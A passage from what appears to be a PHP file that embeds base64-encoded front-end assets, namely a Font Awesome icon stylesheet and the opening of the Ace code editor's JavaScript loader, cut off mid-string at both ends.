bnQ6IlxmMjhlIn0uZmEtc2hvcHBpbmctYmFnOmJlZm9yZXtjb250ZW50OiJcZjI5MCJ9LmZhLXNob3BwaW5nLWJhc2tldDpiZWZvcmV7Y29udGVudDoiXGYyOTEifS5mYS1oYXNodGFnOmJlZm9yZXtjb250ZW50OiJcZjI5MiJ9LmZhLWJsdWV0b290aDpiZWZvcmV7Y29udGVudDoiXGYyOTMifS5mYS1ibHVldG9vdGgtYjpiZWZvcmV7Y29udGVudDoiXGYyOTQifS5mYS1wZXJjZW50OmJlZm9yZXtjb250ZW50OiJcZjI5NSJ9LmZhLWdpdGxhYjpiZWZvcmV7Y29udGVudDoiXGYyOTYifS5mYS13cGJlZ2lubmVyOmJlZm9yZXtjb250ZW50OiJcZjI5NyJ9LmZhLXdwZm9ybXM6YmVmb3Jle2NvbnRlbnQ6IlxmMjk4In0uZmEtZW52aXJhOmJlZm9yZXtjb250ZW50OiJcZjI5OSJ9LmZhLXVuaXZlcnNhbC1hY2Nlc3M6YmVmb3Jle2NvbnRlbnQ6IlxmMjlhIn0uZmEtd2hlZWxjaGFpci1hbHQ6YmVmb3Jle2NvbnRlbnQ6IlxmMjliIn0uZmEtcXVlc3Rpb24tY2lyY2xlLW86YmVmb3Jle2NvbnRlbnQ6IlxmMjljIn0uZmEtYmxpbmQ6YmVmb3Jle2NvbnRlbnQ6IlxmMjlkIn0uZmEtYXVkaW8tZGVzY3JpcHRpb246YmVmb3Jle2NvbnRlbnQ6IlxmMjllIn0uZmEtdm9sdW1lLWNvbnRyb2wtcGhvbmU6YmVmb3Jle2NvbnRlbnQ6IlxmMmEwIn0uZmEtYnJhaWxsZTpiZWZvcmV7Y29udGVudDoiXGYyYTEifS5mYS1hc3Npc3RpdmUtbGlzdGVuaW5nLXN5c3RlbXM6YmVmb3Jle2NvbnRlbnQ6IlxmMmEyIn0uZmEtYXNsLWludGVycHJldGluZzpiZWZvcmUsLmZhLWFtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UtaW50ZXJwcmV0aW5nOmJlZm9yZXtjb250ZW50OiJcZjJhMyJ9LmZhLWRlYWZuZXNzOmJlZm9yZSwuZmEtaGFyZC1vZi1oZWFyaW5nOmJlZm9yZSwuZmEtZGVhZjpiZWZvcmV7Y29udGVudDoiXGYyYTQifS5mYS1nbGlkZTpiZWZvcmV7Y29udGVudDoiXGYyYTUifS5mYS1nbGlkZS1nOmJlZm9yZXtjb250ZW50OiJcZjJhNiJ9LmZhLXNpZ25pbmc6YmVmb3JlLC5mYS1zaWduLWxhbmd1YWdlOmJlZm9yZXtjb250ZW50OiJcZjJhNyJ9LmZhLWxvdy12aXNpb246YmVmb3Jle2NvbnRlbnQ6IlxmMmE4In0uZmEtdmlhZGVvOmJlZm9yZXtjb250ZW50OiJcZjJhOSJ9LmZhLXZpYWRlby1zcXVhcmU6YmVmb3Jle2NvbnRlbnQ6IlxmMmFhIn0uZmEtc25hcGNoYXQ6YmVmb3Jle2NvbnRlbnQ6IlxmMmFiIn0uZmEtc25hcGNoYXQtZ2hvc3Q6YmVmb3Jle2NvbnRlbnQ6IlxmMmFjIn0uZmEtc25hcGNoYXQtc3F1YXJlOmJlZm9yZXtjb250ZW50OiJcZjJhZCJ9LmZhLXBpZWQtcGlwZXI6YmVmb3Jle2NvbnRlbnQ6IlxmMmFlIn0uZmEtZmlyc3Qtb3JkZXI6YmVmb3Jle2NvbnRlbnQ6IlxmMmIwIn0uZmEteW9hc3Q6YmVmb3Jle2NvbnRlbnQ6IlxmMmIxIn0uZmEtdGhlbWVpc2xlOmJlZm9yZXtjb250ZW50OiJcZjJiMiJ9LmZhLWdvb2dsZS1wbHVzLWNpcmNsZTpiZWZvcmUsLmZhLWdvb2dsZS1wbHVzLW9mZmljaWFsOmJlZm9yZXtjb250ZW50OiJcZjJiMyJ9LmZhLWZhOmJlZm9yZSwuZmEtZm9udC1hd2Vzb21lOmJlZm9yZXtjb250ZW50OiJcZjJiNCJ9LmZhLWhhbmRzaGFrZS1vOmJlZm9yZXtjb250ZW50OiJcZjJiNSJ9LmZhLWVudmVsb3BlLW9wZW46YmVmb3Jle2NvbnRlbnQ6IlxmMmI2In0uZmEtZW52ZWxvcGUtb3Blbi1vOmJlZm9yZXtjb250ZW50OiJcZjJiNyJ9LmZhLWxpbm9kZTpiZWZvcmV7Y29udGVudDoiXGYyYjgifS5mYS1hZGRyZXNzLWJvb2s6YmVmb3Jle2NvbnRlbnQ6IlxmMmI5In0uZmEtYWRkcmVzcy1ib29rLW86YmVmb3Jle2NvbnRlbnQ6IlxmMmJhIn0uZmEtdmNhcmQ6YmVmb3JlLC5mYS1hZGRyZXNzLWNhcmQ6YmVmb3Jle2NvbnRlbnQ6IlxmMmJiIn0uZmEtdmNhcmQtbzpiZWZvcmUsLmZhLWFkZHJlc3MtY2FyZC1vOmJlZm9yZXtjb250ZW50OiJcZjJiYyJ9LmZhLXVzZXItY2lyY2xlOmJlZm9yZXtjb250ZW50OiJcZjJiZCJ9LmZhLXVzZXItY2lyY2xlLW86YmVmb3Jle2NvbnRlbnQ6IlxmMmJlIn0uZmEtdXNlci1vOmJlZm9yZXtjb250ZW50OiJcZjJjMCJ9LmZhLWlkLWJhZGdlOmJlZm9yZXtjb250ZW50OiJcZjJjMSJ9LmZhLWRyaXZlcnMtbGljZW5zZTpiZWZvcmUsLmZhLWlkLWNhcmQ6YmVmb3Jle2NvbnRlbnQ6IlxmMmMyIn0uZmEtZHJpdmVycy1saWNlbnNlLW86YmVmb3JlLC5mYS1pZC1jYXJkLW86YmVmb3Jle2NvbnRlbnQ6IlxmMmMzIn0uZmEtcXVvcmE6YmVmb3Jle2NvbnRlbnQ6IlxmMmM0In0uZmEtZnJlZS1jb2RlLWNhbXA6YmVmb3Jle2NvbnRlbnQ6IlxmMmM1In0uZmEtdGVsZWdyYW06YmVmb3Jle2NvbnRlbnQ6IlxmMmM2In0uZmEtdGhlcm1vbWV0ZXItNDpiZWZvcmUsLmZhLXRoZXJtb21ldGVyOmJlZm9yZSwuZmEtdGhlcm1vbWV0ZXItZnVsbDpiZWZvcmV7Y29udGVudDoiXGYyYzcifS5mYS10aGVybW9tZXRlci0zOmJlZm9yZSwuZmEtdGhlcm1vbWV0ZXItdGhyZWUtcXVhcnRlcnM6YmVmb3Jle2NvbnRlbnQ6IlxmMmM4In0uZmEtdGhlcm1vbWV0ZXItMjpiZWZvcmUsLmZhLXRoZXJtb21ldGVyLWhhbGY6YmVmb3Jle2NvbnRlbnQ6IlxmMmM5In0uZmEtdGhlcm1vbWV0ZXItMTpiZWZvcmUsLmZhLXRoZXJtb21ldGVyLXF1YXJ0ZXI6YmVmb3Jle2NvbnRlbnQ6IlxmMmNhIn0uZmEtdGhlcm1vbWV0ZXItMDpiZWZvcmUsLmZhLXRoZXJtb21ldGVyLWVtcHR5OmJlZm9yZXtjb250ZW50OiJcZjJjYiJ9LmZhLXNob3dlcjpiZWZvcmV7Y29udGVudDoiXGYyY2MifS5mYS1iYXRodHViOmJlZm9yZSwuZmEtczE1OmJlZm9yZSwuZmEtYmF0aDpiZWZvcmV7Y29udGVudDoiXGYyY2QifS5mYS1wb2RjYXN0OmJlZm9yZXtjb250ZW50OiJcZjJjZSJ9LmZhLXdpbmRvdy1tYXhpbWl6ZTpiZWZvcmV7Y29udGVudDoiXGYyZDAifS5mYS13aW5kb3ctbWluaW1pemU6YmVmb3Jle2NvbnRlbnQ6IlxmMmQxIn0uZmEtd2luZG93LXJlc3RvcmU6YmVmb3Jle2NvbnRlbnQ6IlxmMmQyIn0uZmEtdGltZXMtcmVjdGFuZ2xlOmJlZm9yZSwuZmEtd2luZG93LWNsb3NlOmJlZm9yZXtjb250ZW50OiJcZjJkMyJ9LmZhLXRpbWVzLXJlY3RhbmdsZS1vOmJlZm9yZSwuZmEtd2luZG93LWNsb3NlLW86YmVmb3Jle2NvbnRlbnQ6IlxmMmQ0In0uZmEtYmFuZGNhbXA6YmVmb3Jle2NvbnRlbnQ6IlxmMmQ1In0uZmEtZ3JhdjpiZWZvcmV7Y29udGVudDoiXGYyZDYifS5mYS1ldHN5OmJlZm9yZXtjb250ZW50OiJcZjJkNyJ9LmZhLWltZGI6YmVmb3Jle2NvbnRlbnQ6IlxmMmQ4In0uZmEtcmF2ZWxyeTpiZWZvcmV7Y29udGVudDoiXGYyZDkifS5mYS1lZXJjYXN0OmJlZm9yZXtjb250ZW50OiJcZjJkYSJ9LmZhLW1pY3JvY2hpcDpiZWZvcmV7Y29udGVudDoiXGYyZGIifS5mYS1zbm93Zmxha2UtbzpiZWZvcmV7Y29udGVudDoiXGYyZGMifS5mYS1zdXBlcnBvd2VyczpiZWZvcmV7Y29udGVudDoiXGYyZGQifS5mYS13cGV4cGxvcmVyOmJlZm9yZXtjb250ZW50OiJcZjJkZSJ9LmZhLW1lZXR1cDpiZWZvcmV7Y29udGVudDoiXGYyZTAifS5zci1vbmx5e3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjFweDtoZWlnaHQ6MXB4O3BhZGRpbmc6MDttYXJnaW46LTFweDtvdmVyZmxvdzpoaWRkZW47Y2xpcDpyZWN0KDAsIDAsIDAsIDApO2JvcmRlcjowfS5zci1vbmx5LWZvY3VzYWJsZTphY3RpdmUsLnNyLW9ubHktZm9jdXNhYmxlOmZvY3Vze3Bvc2l0aW9uOnN0YXRpYzt3aWR0aDphdXRvO2hlaWdodDphdXRvO21hcmdpbjowO292ZXJmbG93OnZpc2libGU7Y2xpcDphdXRvfSA=', 'css-highlightjs' => $highlightjs_style_resource, 'js-ace' => 'KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gbyhuKXt2YXIgaT1lO24mJihlW25dfHwoZVtuXT17fSksaT1lW25dKTtpZighaS5kZWZpbmV8fCFpLmRlZmluZS5wYWNrYWdlZCl0Lm9yaWdpbmFsPWkuZGVmaW5lLGkuZGVmaW5lPXQsaS5kZWZpbmUucGFja2FnZWQ9ITA7aWYoIWkucmVxdWlyZXx8IWkucmVxdWlyZS5wYWNrYWdlZClyLm9yaWdpbmFsPWkucmVxdWlyZSxpLnJlcXVpcmU9cixpLnJlcXVpcmUucGFja2FnZWQ9ITB9dmFyIEFDRV9OQU1FU1BBQ0U9IiIsZT1mdW5jdGlvbigpe3JldHVybiB0aGlzfSgpOyFlJiZ0eXBlb2Ygd2luZG93IT0idW5kZWZpbmVkIiYmKGU9d2luZG93KTtpZighQUNFX05BTUVTUEFDRSYmdHlwZW9mIHJlcXVpcmVqcyE9InVuZGVmaW5lZCIpcmV0dXJuO3ZhciB0PWZ1bmN0aW9uKGUsbixyKXtpZih0eXBlb2YgZSE9InN0cmluZyIpe3Qub3JpZ2luYWw/dC5vcmlnaW5hbC5hcHBseSh0aGlzLGFyZ3VtZW50cyk6KGNvbnNvbGUuZXJyb3IoImRyb3BwaW5nIG1vZHVsZSBiZWNhdXNlIGRlZmluZSB3YXNuJ3QgYSBzdHJpbmcuIiksY29uc29sZS50cmFjZSgpKTtyZXR1cm59YXJndW1lbnRzLmxlbmd0aD09MiYmKHI9biksdC5tb2R1bGVzW2VdfHwodC5wYXlsb2Fkc1tlXT1yLHQubW9kdWxlc1tlXT1udWxsKX07dC5tb2R1bGVzPXt9LHQucGF5bG9hZHM9e307dmFyIG49ZnVuY3Rpb24oZSx0LG4pe2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7dmFyIGk9cyhlLHQpO2lmKGkhPXVuZGVmaW5lZClyZXR1cm4gbiYmbigpLGl9ZWxzZSBpZihPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwodCk9PT0iW29iamVjdCBBcnJheV0iKXt2YXIgbz1bXTtmb3IodmFyIHU9MCxhPXQubGVuZ3RoO3U8YTsrK3Upe3ZhciBmPXMoZSx0W3VdKTtpZihmPT11bmRlZmluZWQmJnIub3JpZ2luYWwpcmV0dXJuO28ucHVzaChmKX1yZXR1cm4gbiYmbi5hcHBseShudWxsLG8pfHwhMH19LHI9ZnVuY3Rpb24oZSx0KXt2YXIgaT1uKCIiLGUsdCk7cmV0dXJuIGk9PXVuZGVmaW5lZCYmci5vcmlnaW5hbD9yLm9yaWdpbmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTppfSxpPWZ1bmN0aW9uKGUsdCl7aWYodC5pbmRleE9mKCIhIikhPT0tMSl7dmFyIG49dC5zcGxpdCgiISIpO3JldHVybiBpKGUsblswXSkrIiEiK2koZSxuWzFdKX1pZih0LmNoYXJBdCgwKT09Ii4iKXt2YXIgcj1lLnNwbGl0KCIvIikuc2xpY2UoMCwtMSkuam9pbigiLyIpO3Q9cisiLyIrdDt3aGlsZSh0LmluZGV4T2YoIi4iKSE9PS0xJiZzIT10KXt2YXIgcz10O3Q9dC5yZXBsYWNlKC9cL1wuXC8vLCIvIikucmVwbGFjZSgvW15cL10rXC9cLlwuXC8vLCIiKX19cmV0dXJuIHR9LHM9ZnVuY3Rpb24oZSxyKXtyPWkoZSxyKTt2YXIgcz10Lm1vZHVsZXNbcl07aWYoIXMpe3M9dC5wYXlsb2Fkc1tyXTtpZih0eXBlb2Ygcz09ImZ1bmN0aW9uIil7dmFyIG89e30sdT17aWQ6cix1cmk6IiIsZXhwb3J0czpvLHBhY2thZ2VkOiEwfSxhPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIG4ocixlLHQpfSxmPXMoYSxvLHUpO289Znx8dS5leHBvcnRzLHQubW9kdWxlc1tyXT1vLGRlbGV0ZSB0LnBheWxvYWRzW3JdfXM9dC5tb2R1bGVzW3JdPW98fHN9cmV0dXJuIHN9O28oQUNFX05BTUVTUEFDRSl9KSgpLGRlZmluZSgiYWNlL2xpYi9lczYtc2hpbSIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSJdLGZ1bmN0aW9uKGUsdCxuKXtmdW5jdGlvbiByKGUsdCxuKXtPYmplY3QuZGVmaW5lUHJvcGVydHkoZSx0LHt2YWx1ZTpuLGVudW1lcmFibGU6ITEsd3JpdGFibGU6ITAsY29uZmlndXJhYmxlOiEwfSl9U3RyaW5nLnByb3RvdHlwZS5zdGFydHNXaXRofHxyKFN0cmluZy5wcm90b3R5cGUsInN0YXJ0c1dpdGgiLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQ9dHx8MCx0aGlzLmxhc3RJbmRleE9mKGUsdCk9PT10fSksU3RyaW5nLnByb3RvdHlwZS5lbmRzV2l0aHx8cihTdHJpbmcucHJvdG90eXBlLCJlbmRzV2l0aCIsZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzO2lmKHQ9PT11bmRlZmluZWR8fHQ+bi5sZW5ndGgpdD1uLmxlbmd0aDt0LT1lLmxlbmd0aDt2YXIgcj1uLmluZGV4T2YoZSx0KTtyZXR1cm4gciE9PS0xJiZyPT09dH0pLFN0cmluZy5wcm90b3R5cGUucmVwZWF0fHxyKFN0cmluZy5wcm90b3R5cGUsInJlcGVhdCIsZnVuY3Rpb24oZSl7dmFyIHQ9IiIsbj10aGlzO3doaWxlKGU+MCl7ZSYxJiYodCs9bik7aWYoZT4+PTEpbis9bn1yZXR1cm4gdH0pLFN0cmluZy5wcm90b3R5cGUuaW5jbHVkZXN8fHIoU3RyaW5nLnByb3RvdHlwZSwiaW5jbHVkZXMiLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuaW5kZXhPZihlLHQpIT0tMX0pLE9iamVjdC5hc3NpZ258fChPYmplY3QuYXNzaWduPWZ1bmN0aW9uKGUpe2lmKGU9PT11bmRlZmluZWR8fGU9PT1udWxsKXRocm93IG5ldyBUeXBlRXJyb3IoIkNhbm5vdCBjb252ZXJ0IHVuZGVmaW5lZCBvciBudWxsIHRvIG9iamVjdCIpO3ZhciB0PU9iamVjdChlKTtmb3IodmFyIG49MTtuPGFyZ3VtZW50cy5sZW5ndGg7bisrKXt2YXIgcj1hcmd1bWVudHNbbl07ciE9PXVuZGVmaW5lZCYmciE9PW51bGwmJk9iamVjdC5rZXlzKHIpLmZvckVhY2goZnVuY3Rpb24oZSl7dFtlXT1yW2VdfSl9cmV0dXJuIHR9KSxPYmplY3QudmFsdWVzfHwoT2JqZWN0LnZhbHVlcz1mdW5jdGlvbihlKXtyZXR1cm4gT2JqZWN0LmtleXMoZSkubWFwKGZ1bmN0aW9uKHQpe3JldHVybiBlW3RdfSl9KSxBcnJheS5wcm90b3R5cGUuZmluZHx8cihBcnJheS5wcm90b3R5cGUsImZpbmQiLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMubGVuZ3RoLG49YXJndW1lbnRzWzFdO2Zvcih2YXIgcj0wO3I8dDtyKyspe3ZhciBpPXRoaXNbcl07aWYoZS5jYWxsKG4saSxyLHRoaXMpKXJldHVybiBpfX0pLEFycmF5LnByb3RvdHlwZS5maW5kSW5kZXh8fHIoQXJyYXkucHJvdG90eXBlLCJmaW5kSW5kZXgiLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMubGVuZ3RoLG49YXJndW1lbnRzWzFdO2Zvcih2YXIgcj0wO3I8dDtyKyspe3ZhciBpPXRoaXNbcl07aWYoZS5jYWxsKG4saSxyLHRoaXMpKXJldHVybiByfX0pLEFycmF5LnByb3RvdHlwZS5pbmNsdWRlc3x8cihBcnJheS5wcm90b3R5cGUsImluY2x1ZGVzIixmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLmluZGV4T2YoZSx0KSE9LTF9KSxBcnJheS5wcm90b3R5cGUuZmlsbHx8cihBcnJheS5wcm90b3R5cGUsImZpbGwiLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMsbj10Lmxlbmd0aD4+PjAscj1hcmd1bWVudHNbMV0saT1yPj4wLHM9aTwwP01hdGgubWF4KG4raSwwKTpNYXRoLm1pbihpLG4pLG89YXJndW1lbnRzWzJdLHU9bz09PXVuZGVmaW5lZD9uOm8+PjAsYT11PDA/TWF0aC5tYXgobit1LDApOk1hdGgubWluKHUsbik7d2hpbGUoczxhKXRbc109ZSxzKys7cmV0dXJuIHR9KSxBcnJheS5vZnx8cihBcnJheSwib2YiLGZ1bmN0aW9uKCl7cmV0dXJuIEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cyl9KX0pLGRlZmluZSgiYWNlL2xpYi9maXhvbGRicm93c2VycyIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvZXM2LXNoaW0iXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2UoIi4vZXM2LXNoaW0iKX0pLGRlZmluZSgiYWNlL2xpYi9sYW5nIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt0Lmxhc3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIGVbZS5sZW5ndGgtMV19LHQuc3RyaW5nUmV2ZXJzZT1mdW5jdGlvbihlKXtyZXR1cm4gZS5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpfSx0LnN0cmluZ1JlcGVhdD1mdW5jdGlvbihlLHQpe3ZhciBuPSIiO3doaWxlKHQ+MCl7dCYxJiYobis9ZSk7aWYodD4+PTEpZSs9ZX1yZXR1cm4gbn07dmFyIHI9L15cc1xzKi8saT0vXHNccyokLzt0LnN0cmluZ1RyaW1MZWZ0PWZ1bmN0aW9uKGUpe3JldHVybiBlLnJlcGxhY2UociwiIil9LHQuc3RyaW5nVHJpbVJpZ2h0PWZ1bmN0aW9uKGUpe3JldHVybiBlLnJlcGxhY2UoaSwiIil9LHQuY29weU9iamVjdD1mdW5jdGlvbihlKXt2YXIgdD17fTtmb3IodmFyIG4gaW4gZSl0W25dPWVbbl07cmV0dXJuIHR9LHQuY29weUFycmF5PWZ1bmN0aW9uKGUpe3ZhciB0PVtdO2Zvcih2YXIgbj0wLHI9ZS5sZW5ndGg7bjxyO24rKyllW25dJiZ0eXBlb2YgZVtuXT09Im9iamVjdCI/dFtuXT10aGlzLmNvcHlPYmplY3QoZVtuXSk6dFtuXT1lW25dO3JldHVybiB0fSx0LmRlZXBDb3B5PWZ1bmN0aW9uIHMoZSl7aWYodHlwZW9mIGUhPSJvYmplY3QifHwhZSlyZXR1cm4gZTt2YXIgdDtpZihBcnJheS5pc0FycmF5KGUpKXt0PVtdO2Zvcih2YXIgbj0wO248ZS5sZW5ndGg7bisrKXRbbl09cyhlW25dKTtyZXR1cm4gdH1pZihPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoZSkhPT0iW29iamVjdCBPYmplY3RdIilyZXR1cm4gZTt0PXt9O2Zvcih2YXIgbiBpbiBlKXRbbl09cyhlW25dKTtyZXR1cm4gdH0sdC5hcnJheVRvTWFwPWZ1bmN0aW9uKGUpe3ZhciB0PXt9O2Zvcih2YXIgbj0wO248ZS5sZW5ndGg7bisrKXRbZVtuXV09MTtyZXR1cm4gdH0sdC5jcmVhdGVNYXA9ZnVuY3Rpb24oZSl7dmFyIHQ9T2JqZWN0LmNyZWF0ZShudWxsKTtmb3IodmFyIG4gaW4gZSl0W25dPWVbbl07cmV0dXJuIHR9LHQuYXJyYXlSZW1vdmU9ZnVuY3Rpb24oZSx0KXtmb3IodmFyIG49MDtuPD1lLmxlbmd0aDtuKyspdD09PWVbbl0mJmUuc3BsaWNlKG4sMSl9LHQuZXNjYXBlUmVnRXhwPWZ1bmN0aW9uKGUpe3JldHVybiBlLnJlcGxhY2UoLyhbLiorP14ke30oKXxbXF1cL1xcXSkvZywiXFwkMSIpfSx0LmVzY2FwZUhUTUw9ZnVuY3Rpb24oZSl7cmV0dXJuKCIiK2UpLnJlcGxhY2UoLyYvZywiJiMzODsiKS5yZXBsYWNlKC8iL2csIiYjMzQ7IikucmVwbGFjZSgvJy9nLCImIzM5OyIpLnJlcGxhY2UoLzwvZywiJiM2MDsiKX0sdC5nZXRNYXRjaE9mZnNldHM9ZnVuY3Rpb24oZSx0KXt2YXIgbj1bXTtyZXR1cm4gZS5yZXBsYWNlKHQsZnVuY3Rpb24oZSl7bi5wdXNoKHtvZmZzZXQ6YXJndW1lbnRzW2FyZ3VtZW50cy5sZW5ndGgtMl0sbGVuZ3RoOmUubGVuZ3RofSl9KSxufSx0LmRlZmVycmVkQ2FsbD1mdW5jdGlvbihlKXt2YXIgdD1udWxsLG49ZnVuY3Rpb24oKXt0PW51bGwsZSgpfSxyPWZ1bmN0aW9uKGUpe3JldHVybiByLmNhbmNlbCgpLHQ9c2V0VGltZW91dChuLGV8fDApLHJ9O3JldHVybiByLnNjaGVkdWxlPXIsci5jYWxsPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2FuY2VsKCksZSgpLHJ9LHIuY2FuY2VsPWZ1bmN0aW9uKCl7cmV0dXJuIGNsZWFyVGltZW91dCh0KSx0PW51bGwscn0sci5pc1BlbmRpbmc9ZnVuY3Rpb24oKXtyZXR1cm4gdH0scn0sdC5kZWxheWVkQ2FsbD1mdW5jdGlvbihlLHQpe3ZhciBuPW51bGwscj1mdW5jdGlvbigpe249bnVsbCxlKCl9LGk9ZnVuY3Rpb24oZSl7bj09bnVsbCYmKG49c2V0VGltZW91dChyLGV8fHQpKX07cmV0dXJuIGkuZGVsYXk9ZnVuY3Rpb24oZSl7biYmY2xlYXJUaW1lb3V0KG4pLG49c2V0VGltZW91dChyLGV8fHQpfSxpLnNjaGVkdWxlPWksaS5jYWxsPWZ1bmN0aW9uKCl7dGhpcy5jYW5jZWwoKSxlKCl9LGkuY2FuY2VsPWZ1bmN0aW9uKCl7biYmY2xlYXJUaW1lb3V0KG4pLG49bnVsbH0saS5pc1BlbmRpbmc9ZnVuY3Rpb24oKXtyZXR1cm4gbn0saX19KSxkZWZpbmUoImFjZS9saWIvb29wIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt0LmluaGVyaXRzPWZ1bmN0aW9uKGUsdCl7ZS5zdXBlcl89dCxlLnByb3RvdHlwZT1PYmplY3QuY3JlYXRlKHQucHJvdG90eXBlLHtjb25zdHJ1Y3Rvcjp7dmFsdWU6ZSxlbnVtZXJhYmxlOiExLHdyaXRhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMH19KX0sdC5taXhpbj1mdW5jdGlvbihlLHQpe2Zvcih2YXIgbiBpbiB0KWVbbl09dFtuXTtyZXR1cm4gZX0sdC5pbXBsZW1lbnQ9ZnVuY3Rpb24oZSxuKXt0Lm1peGluKGUsbil9fSksZGVmaW5lKCJhY2UvbGliL3VzZXJhZ2VudCIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dC5PUz17TElOVVg6IkxJTlVYIixNQUM6Ik1BQyIsV0lORE9XUzoiV0lORE9XUyJ9LHQuZ2V0T1M9ZnVuY3Rpb24oKXtyZXR1cm4gdC5pc01hYz90Lk9TLk1BQzp0LmlzTGludXg/dC5PUy5MSU5VWDp0Lk9TLldJTkRPV1N9O3ZhciByPXR5cGVvZiBuYXZpZ2F0b3I9PSJvYmplY3QiP25hdmlnYXRvcjp7fSxpPSgvbWFjfHdpbnxsaW51eC9pLmV4ZWMoci5wbGF0Zm9ybSl8fFsib3RoZXIiXSlbMF0udG9Mb3dlckNhc2UoKSxzPXIudXNlckFnZW50fHwiIixvPXIuYXBwTmFtZXx8IiI7dC5pc1dpbj1pPT0id2luIix0LmlzTWFjPWk9PSJtYWMiLHQuaXNMaW51eD1pPT0ibGludXgiLHQuaXNJRT1vPT0iTWljcm9zb2Z0IEludGVybmV0IEV4cGxvcmVyInx8by5pbmRleE9mKCJNU0FwcEhvc3QiKT49MD9wYXJzZUZsb2F0KChzLm1hdGNoKC8oPzpNU0lFIHxUcmlkZW50XC9bMC05XStbXC4wLTldKzsuKnJ2OikoWzAtOV0rW1wuMC05XSspLyl8fFtdKVsxXSk6cGFyc2VGbG9hdCgocy5tYXRjaCgvKD86VHJpZGVudFwvWzAtOV0rW1wuMC05XSs7LipydjopKFswLTldK1tcLjAtOV0rKS8pfHxbXSlbMV0pLHQuaXNPbGRJRT10LmlzSUUmJnQuaXNJRTw5LHQuaXNHZWNrbz10LmlzTW96aWxsYT1zLm1hdGNoKC8gR2Vja29cL1xkKy8pLHQuaXNPcGVyYT10eXBlb2Ygb3BlcmE9PSJvYmplY3QiJiZPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwod2luZG93Lm9wZXJhKT09IltvYmplY3QgT3BlcmFdIix0LmlzV2ViS2l0PXBhcnNlRmxvYXQocy5zcGxpdCgiV2ViS2l0LyIpWzFdKXx8dW5kZWZpbmVkLHQuaXNDaHJvbWU9cGFyc2VGbG9hdChzLnNwbGl0KCIgQ2hyb21lLyIpWzFdKXx8dW5kZWZpbmVkLHQuaXNFZGdlPXBhcnNlRmxvYXQocy5zcGxpdCgiIEVkZ2UvIilbMV0pfHx1bmRlZmluZWQsdC5pc0FJUj1zLmluZGV4T2YoIkFkb2JlQUlSIik+PTAsdC5pc0FuZHJvaWQ9cy5pbmRleE9mKCJBbmRyb2lkIik+PTAsdC5pc0Nocm9tZU9TPXMuaW5kZXhPZigiIENyT1MgIik+PTAsdC5pc0lPUz0vaVBhZHxpUGhvbmV8aVBvZC8udGVzdChzKSYmIXdpbmRvdy5NU1N0cmVhbSx0LmlzSU9TJiYodC5pc01hYz0hMCksdC5pc01vYmlsZT10LmlzSU9TfHx0LmlzQW5kcm9pZH0pLGRlZmluZSgiYWNlL2xpYi9kb20iLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL3VzZXJhZ2VudCJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gdSgpe3ZhciBlPW87bz1udWxsLGUmJmUuZm9yRWFjaChmdW5jdGlvbihlKXthKGVbMF0sZVsxXSl9KX1mdW5jdGlvbiBhKGUsbixyKXtpZih0eXBlb2YgZG9jdW1lbnQ9PSJ1bmRlZmluZWQiKXJldHVybjtpZihvKWlmKHIpdSgpO2Vsc2UgaWYocj09PSExKXJldHVybiBvLnB1c2goW2Usbl0pO2lmKHMpcmV0dXJuO3ZhciBpPXI7aWYoIXJ8fCFyLmdldFJvb3ROb2RlKWk9ZG9jdW1lbnQ7ZWxzZXtpPXIuZ2V0Um9vdE5vZGUoKTtpZighaXx8aT09cilpPWRvY3VtZW50fXZhciBhPWkub3duZXJEb2N1bWVudHx8aTtpZihuJiZ0Lmhhc0Nzc1N0cmluZyhuLGkpKXJldHVybiBudWxsO24mJihlKz0iXG4vKiMgc291cmNlVVJMPWFjZS9jc3MvIituKyIgKi8iKTt2YXIgZj10LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7Zi5hcHBlbmRDaGlsZChhLmNyZWF0ZVRleHROb2RlKGUpKSxuJiYoZi5pZD1uKSxpPT1hJiYoaT10LmdldERvY3VtZW50SGVhZChhKSksaS5pbnNlcnRCZWZvcmUoZixpLmZpcnN0Q2hpbGQpfXZhciByPWUoIi4vdXNlcmFnZW50IiksaT0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI7dC5idWlsZERvbT1mdW5jdGlvbiBsKGUsdCxuKXtpZih0eXBlb2YgZT09InN0cmluZyImJmUpe3ZhciByPWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpO3JldHVybiB0JiZ0LmFwcGVuZENoaWxkKHIpLHJ9aWYoIUFycmF5LmlzQXJyYXkoZSkpcmV0dXJuIGUmJmUuY